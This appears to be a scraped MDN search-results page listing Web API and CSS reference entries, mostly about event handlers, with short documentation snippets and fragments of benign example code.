...diocontext" target="_top"><rect x="151" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="231" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">baseaudiocontext</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties baseaudiocontext.audioworklet read only secure context returns the audioworklet object, which can be used to create and manage audionodes in which javascript code implementing the audioworkletprocessor interface are run in the background to process audio data.
...And 2 more matches
BroadcastChannel.onmessage - Web APIs
the broadcastchannel.onmessage event handler is a property that specifies the function to execute when a message event, of type messageevent, is received by this broadcastchannel.
... such an event is sent by the browser with a message broadcasted to the channel.
... syntax channel.onmessage = function; values function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration, such as function(event) {...}.
...And 2 more matches
Cache.match() - Web APIs
WebAPICachematch
ignoremethod: a boolean that, when set to true, prevents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false.
...if there are any other fetch handlers registered, they will get a chance to call event.respondwith().
... if no fetch handlers call event.respondwith(), the request will be handled by the browser as if there were no service worker involvement.
...And 2 more matches
CanvasRenderingContext2D.addHitRegion() - Web APIs
they let you route events to dom elements, and make it possible for users to explore the canvas without seeing it.
... id the id for this hit region to reference it for later use in events, for example.
... control an element (descendant of the canvas) to which events are to be routed.
...And 2 more matches
Basic animations - Web APIs
if we wanted to make a game, we could use keyboard or mouse events to control the animation and use settimeout().
... by setting eventlisteners, we catch any user interaction and execute our animation functions.
... function emit(t) { key.keydown(t) } function touch(t) { t.classlist.toggle("off"), document.getelementsbyclassname("keypress")[0].classlist.toggle("hide") } var t = new date + "", d = void 0, cc = document.getelementsbytagname("canvas")[0], c = cc.getcontext("2d"); key = {}, key.keydown = function (t) { var e = document.createevent("keyboardevent"); object.defineproperty(e, "keycode", { get: function () { return this.keycodeval } }), object.defineproperty(e, "key", { get: function () { return 37 == this.keycodeval ?
...And 2 more matches
Client.postMessage() - Web APIs
the message is received in the "message" event on navigator.serviceworker.
... examples sending a message from a service worker to a client: addeventlistener('fetch', event => { event.waituntil(async function() { // exit early if we don't have access to the client.
... if (!event.clientid) return; // get the client.
...And 2 more matches
DataTransfer.clearData() - Web APIs
this method can only be used in the handler for the dragstart event, because that's the only time the drag operation's data store is writeable.
...</span> <span class="tweaked" id="target">drop zone</span> <div>status: <span id="status">drag to start</span></div> <div>data is: <span id="data">uninitialized</span></div> css span.tweaked { display: inline-block; margin: 1em 0; padding: 1em 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript window.addeventlistener('domcontentloaded', function () { // select html elements var draggable = document.getelementbyid('source'); var dropable = document.getelementbyid('target'); var status = document.getelementbyid('status'); var data = document.getelementbyid('data'); var dropped = false; // register event handlers draggable.addeventlistener('dragstart', dragstarthandler); draggable.adde...
...ventlistener('dragend', dragendhandler); dropable.addeventlistener('dragover', dragoverhandler); dropable.addeventlistener('dragleave', dragleavehandler); dropable.addeventlistener('drop', drophandler); function dragstarthandler (event) { status.innerhtml = 'drag in process'; // change target element's border to signify drag has started event.currenttarget.style.border = '1px dashed blue'; // start by clearing existing clipboards; this will affect all types since we // don't give a specific type.
...And 2 more matches
DataTransfer.effectAllowed - Web APIs
this property should be set in the dragstart event to set the desired drag effect for the drag source.
... within the dragenter and dragover event handlers, this property will be set to whatever value was assigned during the dragstart event, thus effectallowed may be used to determine which effect is permitted.
... assigning a value to effectallowed in events other than dragstart has no effect.
...And 2 more matches
Document.cookie - Web APIs
WebAPIDocumentcookie
;samesite samesite prevents the browser from sending this cookie along with cross-site requests.
...this is sufficient for user tracking, but it will prevent many csrf attacks.
... the strict value will prevent the cookie from being sent by the browser to the target site in all cross-site browsing contexts, even when following a regular link.
...And 2 more matches
Document.onfullscreenchange - Web APIs
the document interface's onfullscreenchange property is an event handler for the fullscreenchange event that is fired immediately before a document transitions into or out of full-screen mode.
... syntax targetdocument.onfullscreenchange = fullscreenchangehandler; value an event handler which is invoked whenever the document receives a fullscreenchange event, indicating that the document is transitioning into or out of full-screen mode.
... usage notes the fullscreenchange event does not directly specify whether the transition is into or out of full-screen mode, so your event handler should look at the value of document.fullscreenelement.
...And 2 more matches
Element.classList - Web APIs
WebAPIElementclassList
see https://bugzilla.mozilla.org/show_bug.cgi?id=814014 polyfill the legacy onpropertychange event can be used to create a living classlist mockup thanks to a element.prototype.classname property that fires the specified event once it is changed.
...string.prototype.trim polyfill if (!"".trim) string.prototype.trim = function(){ return this.replace(/^[\s]+|[\s]+$/g, ''); }; (function(window){"use strict"; // prevent global namespace pollution if(!window.domexception) (domexception = function(reason){this.message = reason}).prototype = new error; var wsre = /[\11\12\14\15\40]/, wsindex = 0, checkifvalidclasslistentry = function(o, v) { if (v === "") throw new domexception( "failed to execute '" + o + "' on 'domtokenlist': the token provided must not be empty." ); if((wsindex=v.search(wsre))!==-1) thro...
... if(is){ this[i-1]=this[i] }else{ if(this[i] !== val){ resstr+=this[i]+" "; }else{ is=1; } } if (!is) continue; delete this[len], proto.length -= 1, proto.value = resstr; } skippropchange = 1, ele.classname = proto.value, skippropchange = 0; }; window.domtokenlist = domtokenlist; function whenpropchanges(){ var evt = window.event, prop = evt.propertyname; if ( !skippropchange && (prop==="classname" || (prop==="classlist" && !defineproperty)) ) { var target = evt.srcelement, protoobjproto = target[" uclp"], strval = "" + target[prop]; var tokens=strval.trim().split(wsre), restokenlist=target[prop==="classlist"?" ucl":"classlist"]; var oldlen = protoobjproto.length; a:...
...And 2 more matches
Element.onfullscreenchange - Web APIs
the element interface's onfullscreenchange property is an event handler for the fullscreenchange event that is fired when the element has transitioned into or out of full-screen mode.
... syntax targetdocument.onfullscreenchange = fullscreenchangehandler; value an event handler for the fullscreenchange event, indicating that the element has changed in or out of full-screen mode.
... example this example establishes a fullscreenchange event handler, handlefullscreenchange().
...And 2 more matches
Element.requestFullscreen() - Web APIs
if permission to enter full screen mode is granted, the returned promise will resolve and the element will receive a fullscreenchange event to let it know that it's now in full screen mode.
... if permission is denied, the promise is rejected and the element receives a fullscreenerror event instead.
... if the element has been detached from the original document, then the document receives these events instead.
...And 2 more matches
Element.setCapture() - Web APIs
call this method during the handling of a mousedown event to retarget all mouse events to this element until the mouse button is released or document.releasecapture() is called.
... warning: this interface never had much cross-browser support and you probably looking for element.setpointercapture instead, from the pointer events api.
... syntax element.setcapture(retargettoelement); retargettoelement if true, all events are targeted directly to this element; if false, events can also fire at descendants of this element.
...And 2 more matches
HTMLImageElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/htmlimageelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlimageelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor image() the image() constructor creates and returns a new htmlimageelement object representing an html <img> element which is not attached to any dom tree.
...this prevents rendering of the next frame from having to pause to decode the image, as would happen if an undecoded image were added to the dom.
...And 2 more matches
HTMLMediaElement.load() - Web APIs
appropriate events will be sent to the media element itself as the load process proceeds: if the element is already in the process of loading media, that load process is aborted and the abort event is sent.
... if the element has already been initialized with media, the emptied event is sent.
... if resetting the playback position to the beginning of the media actually changes the playback position (that is, it was not already at the beginning), a timeupdate event is sent.
...And 2 more matches
HTMLTrackElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/htmltrackelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltrackelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
... events the following events may be fired on a <track> element, in addition to any that may be fired at its parent, htmlelement.
...And 2 more matches
IDBDatabase.onclose - Web APIs
the onclose event handler of the idbdatabase interface handles the close event, which is fired when the database is unexpectedly closed.
... the close event is fired after all transactions have been aborted and the connection has been closed.
... syntax idbdatabase.onclose = function(event) { ...
...And 2 more matches
IDBFactory.deleteDatabase() - Web APIs
if the database is successfully deleted, then a success event is fired on the request object returned from this method, with its result set to undefined.
... if an error occurs while the database is being deleted, then an error event is fired on the request object that is returned from this method.
... when deletedatabase() is called, any other open connections to this particular database will get a versionchange event.
...And 2 more matches
IDBFactory.open() - Web APIs
WebAPIIDBFactoryopen
if the operation is successful, a success event is fired on the request object that is returned from this method, with its result attribute set to the new idbdatabase object for the connection.
... if an error occurs while the database connection is being opened, then an error event is fired on the request object returned from this method.
... may trigger upgradeneeded, blocked or versionchange events.
...And 2 more matches
IDBIndex.openCursor() - Web APIs
a success event is always fired on the result object.
... if at least one record matches the key range, then the result property of the event is set to the new idbcursorwithvalue object; the value of the cursor object is set to a structured clone of the referenced value.
... if no records match the key range then then the result property of the event is set to null.
...And 2 more matches
IDBIndex.openKeyCursor() - Web APIs
a success event is always fired on the result object.
... if at least one key matches the key range, then the result property of the event is set to the new idbcursor object; the key property of the cursor object is set to the found key and the primarykey property is set to the the corresponding primary key of the found record.
... if no keys match the key range, then then the result property of the event is set to null.
...And 2 more matches
IDBRequest.onerror - Web APIs
the onerror event handler of the idbrequest interface handles the error event, fired when a request returns an error.
... the event handler takes one parameter, an error event with type="error".
... syntax request.onerror = function(event) { ...
...And 2 more matches
IDBTransaction.error - Web APIs
note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
... note the transaction.onerror = function(event) { }; block, making use of transaction.error to help in reporting what went wrong when the transaction was unsuccessful.
... for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...And 2 more matches
Checking when a deadline is due - Web APIs
basically, we want to check what the time and date is right now, and then check each stored event to see if any of their deadlines match the current time and date.
... when the form's submit button is pressed, we run the adddata() function, which starts like this: function adddata(e) { e.preventdefault(); if(title.value == '' || hours.value == null || minutes.value == null || day.value == '' || month.value == '' || year.value == null) { note.innerhtml += '<li>data not submitted — form incomplete.</li>'; return; } in this segment, we check to see if the form fields have all been filled in.
...alue, minutes : minutes.value, day : day.value, month : month.value, year : year.value, notified : "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction opened for task addition.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
...And 2 more matches
MSCandidateWindowHide - Web APIs
general info synchronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this event.
... on internet explorer in the new windows ui, this event is supported in windows 8.1 imes of all languages.
... syntax event property object.oncandidatewindowhide = handler; addeventlistener method object.addeventlistener("mscandidatewindowhide", handler, usecapture) nbsp; parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event.
...And 2 more matches
MediaRecorder.onstop - Web APIs
the mediarecorder.onstop event handler (part of the mediarecorder api) handles the stop event, allowing you to run code in response to media recording via a mediarecorder being stopped.
... the stop event is thrown either as a result of the mediarecorder.stop() method being invoked, or when the media stream being captured ends.
... in each case, the stop event is preceded by a dataavailable event, making the blob captured up to that point available for you to use in your application.
...And 2 more matches
MediaStream - Web APIs
properties this interface inherits properties from its parent, eventtarget.
... event handlers mediastream.onaddtrack an eventhandler containing the action to perform when an addtrack event is fired when a new mediastreamtrack object is added.
... mediastream.onremovetrack an eventhandler containing the action to perform when a removetrack event is fired when a mediastreamtrack object is removed from it.
...And 2 more matches
MediaStreamTrack.onoverconstrained - Web APIs
the mediastreamtrack.onoverconstrained event handler is a property called when the overconstrained event is received.
... such an event is sent when the track is again able to send data.
... syntax track.onoverconstrained = function; values function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration, such as function(event) {...}.
...And 2 more matches
Using the MediaStream Recording API - Web APIs
const mediarecorder = new mediarecorder(stream); there are a series of methods available in the mediarecorder interface that allow you to control recording of the media stream; in web dictaphone we just make use of two, and listen to some events.
...we register an event handler to do this using mediarecorder.ondataavailable: let chunks = []; mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } note: the browser will fire dataavailable events as needed, but if you want to intervene you can also include a timeslice when invoking the start() method — for example start(10000) — to control this interval, or call mediarecorder.requestdata() t...
...o trigger an event when you need it.
...And 2 more matches
Notification.onclick - Web APIs
the onclick property of the notification interface specifies an event listener to receive click events.
... these events occur when the user clicks on a displayed notification.
... syntax notification.onclick = function(event) { ...
...And 2 more matches
Notification - Web APIs
event handlers notification.onclick a handler for the click event.
... notification.onclose a handler for the close event.
... notification.onerror a handler for the error event.
...And 2 more matches
PaymentRequest - Web APIs
events merchantvalidation secure context with some payment handlers (e.g., apple pay), this event handler is called to handle the merchantvalidation event, which is dispatched when the user agent requires that the merchant validate that the merchant or vendor requesting payment is legitimate.
... also available using the onmerchantvalidation event handler property.
... also available using the onpaymentmethodchange event handler property.
...And 2 more matches
Using the Payment Request API - Web APIs
const checkoutbutton = document.getelementbyid('checkout-button'); if (window.paymentrequest) { let request = new paymentrequest(buildsupportedpaymentmethodnames(), buildshoppingcartdetails()); checkoutbutton.addeventlistener('click', function() { request.show().then(function(paymentresponse) { // handle successful payment }).catch(function(error) { // handle cancelled or failed payment.
... the code looks something like this: checkoutbutton.addeventlistener('click', function() { var request = new paymentrequest(buildsupportedpaymentmethoddata(), buildshoppingcartdetails()); request.show().then(function(paymentresponse) { // here we would process the payment.
...at time of writing, that specification includes a canmakepayment event that a payment handler could make use of to return authorization status.
...And 2 more matches
Performance Timeline - Web APIs
the standard also includes interfaces that allow an application to define performance observer callbacks that are notified when specific performance events are added to the browser's performance timeline.
... duration a high resolution timestamp representing the time value of the duration of the performance event.
... performance observers the performance observer interfaces allow an application to register an observer for specific performance event types, and when one of those event types is recorded, the application is notified of the event via the observer's callback function that was specified when the observer was created.
...And 2 more matches
RTCDTMFSender - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
..."#d4dde4"/><a xlink:href="/docs/web/api/rtcdtmfsender" target="_top"><rect x="151" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="216" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">rtcdtmfsender</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties rtcdtmfsender.tonebuffer read only a domstring which contains the list of dtmf tones currently in the queue to be transmitted (tones which have already been played are no longer included in the string).
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
...And 2 more matches
RTCDataChannel.close() - Web APIs
most of the process of closing the connection is handled asynchronously; you can detect when the channel has finished closing by watching for a close event on the data channel.
... the sequence of events which occurs in response to this method being called: rtcdatachannel.readystate is set to "closing".
... if the transport was closed with an error, the rtcdatachannel is sent a networkerror event.
...And 2 more matches
RTCDataChannel.onbufferedamountlow - Web APIs
the rtcdatachannel.onbufferedamountlow property is an eventhandler which specifies a function the browser calls when the bufferedamountlow event is sent to the rtcdatachannel.
... this event, which is represented by a simple event object, is sent when the amount of data buffered to be sent falls to or below the threshold specified by the channel's bufferedamountlowthreshold.
... syntax rtcdatachannel.onbufferedamountlow = function; value a function which the browser will call to handle the bufferedamountlow event.
...And 2 more matches
RTCDataChannel.onopen - Web APIs
the rtcdatachannel.onopen property is an eventhandler which specifies a function to be called when the open event is fired; this is a simple event which is sent when the data channel's underlying data transport—the link over which the rtcdatachannel's messages flow—is established or re-established.
... syntax rtcdatachannel.onopen = function; value a function which the browser will call to handle the open event.
... the function receives as its only input parameter the event itself, of type event.
...And 2 more matches
RTCPeerConnection.createDataChannel() - Web APIs
if the new data channel is the first one added to the connection, renegotiation is started by delivering a negotiationneeded event.
... negotiated optional by default (false), data channels are negotiated in-band, where one side calls createdatachannel, and the other side listens to the rtcdatachannelevent event using the ondatachannel eventhandler .
... examples this example shows how to create a data channel and set up handlers for the open and message events to send and receive messages on it (for brievity, the example assumes onnegotiationneeded is set up).
...And 2 more matches
RTCPeerConnection.onconnectionstatechange - Web APIs
the rtcpeerconnection.onconnectionstatechange property specifies an eventhandler which is called to handle the connectionstatechange event when it occurs on an instance of rtcpeerconnection.
... syntax rtcpeerconnection.onconnectionstatechange = eventhandler; value a function which is called by the browser when the connectionstatechange event occurs on the rtcpeerconnection.
... the function receives as input a single parameter, which is an object of type event.
...And 2 more matches
RTCPeerConnection.ondatachannel - Web APIs
the rtcpeerconnection.ondatachannel property is an eventhandler which specifies a function which is called when the datachannel event occurs on an rtcpeerconnection.
... this event, of type rtcdatachannelevent, is sent when an rtcdatachannel is added to the connection by the remote peer calling createdatachannel().
... at the time this event is received, the rtcdatachannel it indicates may not yet actually be open.
...And 2 more matches
RTCPeerConnection.onidentityresult - Web APIs
the rtcpeerconnection.onidentityresult event handler is a property containing the code to execute when the identityresult event, of type rtcidentityevent, is received by this rtcpeerconnection.
... such an event is sent when an identity assertion is generated, via getidentityassertion() or during the creation of an offer or an answer.
... syntax peerconnection.onidentityresult = function; values function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration, such as function(event) {...}.
...And 2 more matches
ScriptProcessorNode - Web APIs
an event, implementing the audioprocessingevent interface, is sent to the object each time the input buffer contains new data, and the event handler terminates when it has filled the output buffer with data.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface: audioprocess fired when an input buffer of a scriptprocessornode is ready to be processed.
... also available via the onaudioprocess event handler property.
...And 2 more matches
Selection API - Web APIs
you can run code in response to the selection being changed, or a new selection being started, using the globaleventhandlers.onselectionchange and globaleventhandlers.onselectstart event handlers.
... globaleventhandlers.onselectstart represents the event handler that is called when a selectstart event is fired on the current object (i.e.
... globaleventhandlers.onselectionchange represents the event handler that is called when a selectionchange event is fired on the current object (i.e.
...And 2 more matches
onnotificationclose - Web APIs
the serviceworkerglobalscope.onnotificationclose property is an event handler called whenever the notificationclose event is dispatched on the serviceworkerglobalscope object, that is when a user closes a displayed notification spawned by serviceworkerregistration.shownotification().
... notifications created on the main thread or in workers which aren't service workers using the notification() constructor will instead receive a close event on the notification object itself.
... syntax serviceworkerglobalscope.onnotificationclose = function(notificationevent) { ...
...And 2 more matches
ServiceWorkerGlobalScope.onpushsubscriptionchange - Web APIs
the serviceworkerglobalscope.onpushsubscriptionchange event of the serviceworkerglobalscope interface is fired to indicate a change in push subscription that was triggered outside the application's control, e.g.
... previously, it was defined as the event interface that is fired whenever a push subscription has been invalidated (or is about to become so).
...} self.addeventlistener('pushsubscriptionchange', function() { ...
...And 2 more matches
ServiceWorkerRegistration - Web APIs
properties also implements properties from its parent interface, eventtarget.
... event handlers serviceworkerregistration.onupdatefound read only an eventlistener property called whenever an event of type updatefound is fired; it is fired any time the serviceworkerregistration.installing property acquires a new service worker.
... methods also implements methods from its parent interface, eventtarget.
...And 2 more matches
SharedWorkerGlobalScope.onconnect - Web APIs
the onconnect property of the sharedworkerglobalscope interface is an event handler representing the code to be called when the connect event is raised — that is, when a messageport connection is opened between the associated sharedworker and the main thread.
...}; examples this example shows a shared worker file — when a connection to the worker occurs from a main thread via a messageport, the onconnect event handler fires.
... the event object is a messageevent.
...And 2 more matches
SourceBufferList - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...e4"/><a xlink:href="/docs/web/api/sourcebufferlist" target="_top"><rect x="151" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="231" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sourcebufferlist</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties sourcebufferlist.length read only returns the number of sourcebuffer objects in the list.
... event handlers sourcebufferlist.onaddsourcebuffer the event handler for the addsourcebuffer event.
...And 2 more matches
SpeechSynthesis - Web APIs
properties speechsynthesis also inherits properties from its parent interface, eventtarget.
... methods speechsynthesis also inherits methods from its parent interface, eventtarget.
... events listen to this event using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
...And 2 more matches
SpeechSynthesisUtterance - Web APIs
properties speechsynthesisutterance also inherits properties from its parent interface, eventtarget.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
... error fired when an error occurs that prevents the utterance from being succesfully spoken.
...And 2 more matches
TextTrack.mode - Web APIs
WebAPITextTrackmode
no cues are active, no events are being fired, and the user agent won't attempt to obtain the track's cues.
...the user agent is keeping a list of the active cues (in the track's activecues property) and events are being fired at the corresponding times, even though the text isn't being displayed.
...the activecues list is being maintained and events are firing at the appropriate times; the track's text is also being drawn appropriately based on the styling and the track's kind.
...And 2 more matches
TextTrackList.onremovetrack - Web APIs
the texttracklist onremovetrack event handler is called when the removetrack event occurs, indicating that a text track has been removed from the media element, and therefore also from the texttracklist.
... the event is passed into the event handler in the form of a trackevent object, whose track property identifies the track that was removed from the media element's texttracklist.
... note: you can also add a handler for the removetrack event using addeventlistener().
...And 2 more matches
VideoTrackList.onremovetrack - Web APIs
the videotracklist onremovetrack event handler is called when the removetrack event occurs, indicating that a video track has been removed from the media element, and therefore also from the videotracklist.
... the event is passed into the event handler in the form of a trackevent object, whose track property identifies the track that was removed from the media element's videotracklist.
... note: you can also add a handler for the removetrack event using addeventlistener().
...And 2 more matches
Clearing with colors - Web APIs
--> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } // run everything inside window load event handler, to make sure // dom is fully loaded and styled before trying to manipulate it, // and to not mess up the global scope.
... we are giving the event // handler a name (setupwebgl) so that we can refer to the // function object within the function itself.
... window.addeventlistener("load", function setupwebgl (evt) { "use strict" // cleaning after ourselves.
...And 2 more matches
Web Audio API best practices - Web APIs
a user gesture has been interpreted to mean a user-initiated event, normally a click event.
... when working with an audiocontext, if you create the audio context from inside a click event the state should automatically be set to running.
... here is a simple example of creating the context from inside a click event: const button = document.queryselector('button'); button.addeventlistener('click', function() { const audioctx = new audiocontext(); }, false); if however, you create the context outside of a user gesture, its state will be set to suspended and it will need to be started after user interaction.
...And 2 more matches
Using the Web Audio API - Web APIs
since our scripts are playing audio in response to a user input event (a click on a play button, for instance), we're in good shape and should have no problems from autoplay blocking.
... // select our play button const playbutton = document.queryselector('button'); playbutton.addeventlistener('click', function() { // check if context is in suspended state (autoplay policy) if (audiocontext.state === 'suspended') { audiocontext.resume(); } // play or pause track depending on state if (this.dataset.playing === 'false') { audioelement.play(); this.dataset.playing = 'true'; } else if (this.dataset.playing === 'true') { audi...
...our htmlmediaelement fires an ended event once it's finished playing, so we can listen for that and run code accordingly: audioelement.addeventlistener('ended', () => { playbutton.dataset.playing = 'false'; }, false); modifying sound let's delve into some basic modification nodes, to change the sound that we have.
...And 2 more matches
Web Speech API - Web APIs
generally you'll use the interface's constructor to create a new speechrecognition object, which has a number of event handlers available for detecting when speech is input through the device's microphone.
... web speech api interfaces speech recognition speechrecognition the controller interface for the recognition service; this also handles the speechrecognitionevent sent from the recognition service.
... speechrecognitionevent the event object for the result and nomatch events, and contains all the data associated with an interim or final speech recognition result.
...And 2 more matches
Using the Web Storage API - Web APIs
these three lines all set the (same) colorsetting entry: localstorage.colorsetting = '#a4509b'; localstorage['colorsetting'] = '#a4509b'; localstorage.setitem('colorsetting', '#a4509b'); note: it's recommended to use the web storage api (setitem, getitem, removeitem, key, length) to prevent the pitfalls associated with using plain objects as key-value stores.
... we have also provided an event output page — if you load this page in another tab, then make changes to your choices in the landing page, you'll see the updated storage information outputted as a storageevent is fired.
... we've also included an onchange handler on each form element so that the data and styling are updated whenever a form value is changed: bgcolorform.onchange = populatestorage; fontform.onchange = populatestorage; imageform.onchange = populatestorage; responding to storage changes with the storageevent the storageevent is fired whenever a change is made to the storage object (note that this event is not fired for sessionstorage changes).
...And 2 more matches
Window.onbeforeinstallprompt - Web APIs
the window.onbeforeinstallprompt property is an event handler for processing a beforeinstallprompt, which is dispatched on devices when a user is about to be prompted to "install" a web application.
... its associated event may be saved for later and used to prompt the user at a more suitable time.
... syntax window.addeventlistener("beforeinstallprompt", function(event) { ...
...And 2 more matches
XRReferenceSpace - Web APIs
properties in addition to the properties inherited from xrspace (of which there are none at this time), xrreferencespace also inherits the properties of eventtarget.
... methods in addition to the methods inherited from its parent interface, xrspace (there are none at this time), xrreferencespace inherits methods from eventtarget.
... events in addition to other events that may be sent to xrspace or eventtarget objects, the following also apply to xrreferencespace objects.
...And 2 more matches
XRSession.onselect - Web APIs
the onselect property of the xrsession object is the event handler for the select event, which is dispatched when a primary action is completed successfully by the user.
... the select event is sent after tracking of the primary action begins, as announced by the selectstart event, and immediately before the tracking of the primary action ends, which is announced by the selectend event.
... syntax xrsession.onselect = selecthandlerfunction; value an event handler function to be invoked when the xrsession receives a select event.
...And 2 more matches
Using CSS transitions - CSS: Cascading Style Sheets
<p>click anywhere to move the ball</p> <div id="foo"></div> using javascript you can make the effect of moving the ball to a certain position happen: var f = document.getelementbyid('foo'); document.addeventlistener('click', function(ev){ f.style.transform = 'translatey('+(ev.clienty-25)+'px)'; f.style.transform += 'translatex('+(ev.clientx-25)+'px)'; },false); with css you can make it smooth without any extra effort.
...dd a transition to the element and any change will happen smoothly: p { padding-left: 60px; } #foo { border-radius: 50px; width: 50px; height: 50px; background: #c00; position: absolute; top: 0; left: 0; transition: transform 1s; } you can play with this here: http://jsfiddle.net/9h261pzo/291/ detecting the start and completion of a transition you can use the transitionend event to detect that an animation has finished running.
... this is a transitionevent object, which has two added properties beyond a typical event object: propertyname a string indicating the name of the css property whose transition completed.
...And 2 more matches
<color> - CSS: Cascading Style Sheets
compatibility note: to prevent unexpected behavior, such as in a <gradient>, the current css spec states that transparent should be calculated in the alpha-premultiplied color space.
... -moz-dragtargetzone -moz-eventreerow background color for even-numbered rows in a tree.
...see also -moz-eventreerow.
...And 2 more matches
Web Audio playbackRate explained - Developer guides
8cd6da9c65.webm" type='video/webm' /> </video> <form> <input id="pbr" type="range" value="1" min="0.5" max="4" step="0.1" > <p>playback rate <span id="currentpbr">1</span></p> </form> and apply some javascript to it: window.onload = function () { var v = document.getelementbyid("myvideo"); var p = document.getelementbyid("pbr"); var c = document.getelementbyid("currentpbr"); p.addeventlistener('input',function(){ c.innerhtml = p.value; v.playbackrate = p.value; },false); }; finally, we listen for the input event firing on the <input> element, allowing us to react to the playback rate control being changed.
... defaultplaybackrate and ratechange in addition to playbackrate, we also have a defaultplaybackrate property available, which lets us set the default playback rate: the playback rate to which the media resets; for example, if we change the source of the video, or (in some browsers) when an ended event is generated.
... there is also an event available called ratechange, which fires every time the playbackrate changes.
...And 2 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
it's generally used as a focus indicator, to show which element will receive input events.
...then two event handlers are added to deal with input from the <input type="color"> element.
